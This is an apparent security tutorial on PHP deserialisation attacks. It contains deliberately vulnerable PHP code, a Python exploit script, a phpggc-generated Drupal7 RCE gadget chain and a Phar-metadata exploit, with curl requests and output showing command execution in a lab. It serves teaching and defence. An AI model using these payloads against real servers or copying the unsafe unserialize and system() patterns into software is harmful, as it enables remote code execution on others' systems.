In object orientated programming, an object is a collection of variables and functions. Variables attached to objects and referred to as properties, and functions attached to objects are known as methods.
An objects methods and properties are defined in it’s class. A class acts a blueprint to produce objects. When a class is used to create an object, this is known as object instantiation.
Object serialisation is the process of converting objects to a format that can be easily stored or transmitted. In this article we’re going to look at exploiting PHP object serialisation.
Unserialize Vulnerabilities
In the below PHP code, we’re defining a class called VulnerableClass. This class has a property called “command”, which is a command to be executed.
PHP objects can include methods that trigger automatically when an object is being processed. These are known as magic methods. There are 17 of these methods in total that are listed in the PHP documentation.
Our code includes the __destruct magic method that will be execute when the object is destroyed. Other examples of magic methods include:
- __sleep() – called when an object is serialised
- __wakeup() – called when an object is unserialised
- __construct() – called when an object is created
The code accepts a HTTP GET request, and will deserialise the data using the unserialize function.
<?php
class VulnerableClass {
public $command;
public function __destruct() {
echo "Executing command: " . $this->command . "\n";
$result = system($this->command);
echo "Command result: " . $result . "\n";
}
}
$input = $_GET['data'];
$obj = unserialize($input);
?>
PHP serialised data is stored in the following format by default.
O:15:"VulnerableClass":1:{s:7:"command";s:2:"id";}
We can see it includes the class name (VulnerableClass) and the variable name “command“, along with our supplied parameter “id“. The number preceding each element specifies the number of characters.
We can used Python to send serialised object data in the format PHP requires.
import requests
serialized_data = 'O:15:"VulnerableClass":1:{s:7:"command";s:2:"id";}'
url = 'http://192.168.1.97/input.php'
params = {
'data': serialized_data
}
response = requests.get(url, params=params)
print("Sending: " + str(params))
print(response.text)
Running this code, we can see we can execute our id command successfully.
python3 exploit.py
Sending: {'data': 'O:15:"VulnerableClass":1:{s:7:"command";s:2:"id";}'}
Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
On the face of it, this does not seem particularly concerning. Our vulnerable code is clearly using a very poor design pattern, by blindly accepting user input and passing it to system().
The issue here is the unserialize() function will automatically attempt to deserialise any type of object that is defined as a class in the PHP code. A developer may not implicitly be defining their own classes, but might import third party libraries that do include defined classes that utilise magic methods, which significantly increases the chance of finding an exploitable object.
Gadget Chains
A gadget is a piece of code that is already present in the application that can be used in an attack. In the above example, our gadget only consisted of one system() call. Developing a useful exploit may involve chaining together multiple different gadgets.
To assist with this, the PHP Generic Gadget Chains application can be used to generate gadget chains for common applications.
Running the application shows predetermined gadget chains for Drupal7. We can see a known gadget exists with the __destruct magic function, that allows us to call an additional function.
./phpggc -l Drupal7
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Drupal7/FD1 7.0 <= 7.78 File delete __destruct *
Drupal7/RCE1 7.0.8 <= 7.98 RCE: Function Call __destruct *
We can then ask the application to generate the gadget chain, which we can later inject.
./phpggc Drupal7/RCE1 'phpinfo();' id
O:11:"SchemaCache":4:{s:6:"*cid";s:14:"form_DrupalRCE";s:6:"*bin";s:10:"cache_form";s:16:"*keysToPersist";a:3:{s:8:"#form_id";b:1;s:8:"#process";b:1;s:9:"#attached";b:1;}s:10:"*storage";a:3:{s:8:"#form_id";s:9:"DrupalRCE";s:8:"#process";a:1:{i:0;s:23:"drupal_process_attached";}s:9:"#attached";a:1:{s:10:"phpinfo();";a:1:{i:0;a:1:{i:0;s:2:"id";}}}}}
PHP Phar Exploitation
A PHP archive (Phar) file is an file format used by PHP to bundle together multiple .php files into a single file, similar to how Java files can be stored in a single .jar file.
Phar files can contain Metadata. This Metadata is serialised data.
PHP code can reference files inside the Phar container using the URI handler phar://, as in the below code snippet.
<?php
include 'phar:///path/to/myphar.phar/file.php';
?>
If an adversary can upload a specially crafted Phar file to a location the web application is able to reach, they may be able trigger the application to deserialise objects within the Phar file.
For this to work, the parameter phar.readonly needs to be set to Off in php.ini.
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
To meet the criteria that an adversary would need to be able to upload a malicious file to the server, we can implement a simple PHP file upload.
/var/www/html/upload.php
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
if (!is_writable($uploadDir)) {
die('Upload directory is not writable.');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] !== UPLOAD_ERR_OK) {
die('File upload error: ' . $file['error']);
}
$extension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = bin2hex(random_bytes(16)) . '.' . $extension;
$destination = $uploadDir . $newFileName;
if (!move_uploaded_file($file['tmp_name'], $destination)) {
die('Failed to move uploaded file.');
}
echo 'File uploaded successfully: ';
$url = '/verify_upload.php?file=/var/www/html/uploads/' . htmlspecialchars($newFileName);
echo '<a href="' . htmlspecialchars($url) . '">' . htmlspecialchars(htmlspecialchars($newFileName)) . '</a>';
} else {
echo 'No file uploaded.';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Choose a file:</label>
<input type="file" name="file" id="file" required>
<button type="submit">Upload</button>
</form>
</body>
</html>
The upload.php script calls verify_upload.php to check the uploaded file exists. It’s this section of code where our vulnerability resides.
/var/www/verify_upload.php
<?php
class VulnerableClass {
public $command;
public function __destruct() {
echo "Executing command: " . $this->command . "\n";
$result = system($this->command);
echo "Command result: " . $result . "\n";
}
}
function checkFile($filename) {
if (file_exists($filename)) {
echo "File exists: $filename";
} else {
echo "File does not exist.";
}
}
checkFile($_GET['file']);
?>
The key part of this code is the file_exists function. This function will check for the existence of our uploaded file, but also read the files metadata. Since the Metadata stored within the Phar file is serialised, file_exists has to call unserialize() allowing us to deserialise arbitrary objects.
As such, we can embed our VulnerableClass in the Phar files Metadata. The below code will create our malicious.phar file.
exlpoit.php
<?php
class VulnerableClass {
public $command;
public function __destruct() {
echo "Executing command: " . $this->command . "\n";
$result = system($this->command);
echo "Command result: " . $result . "\n";
}
}
$exploit = new VulnerableClass();
$exploit->command = "id";
try {
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test content');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exploit);
$phar->stopBuffering();
echo "PHAR file created successfully.\n";
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
}
?>
Calling verify_upload.php with the file parameter set to phar:///var/www/html/uploads/76511980db9c253b481953405e224a64.phar/test.txt will trigger the vulnerability.
curl 'http://192.168.1.155/verify_upload.php?file=phar:///var/www/html/uploads/76511980db9c253b481953405e224a64.phar/test.txt'
File exists: phar:///var/www/html/uploads/76511980db9c253b481953405e224a64.phar/test.txt
Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
In Conclusion
PHP version 8.1 and above disable Phar file handling by default. The unserialize() function can still be considered dangerous if it’s supplied with un-trusted input.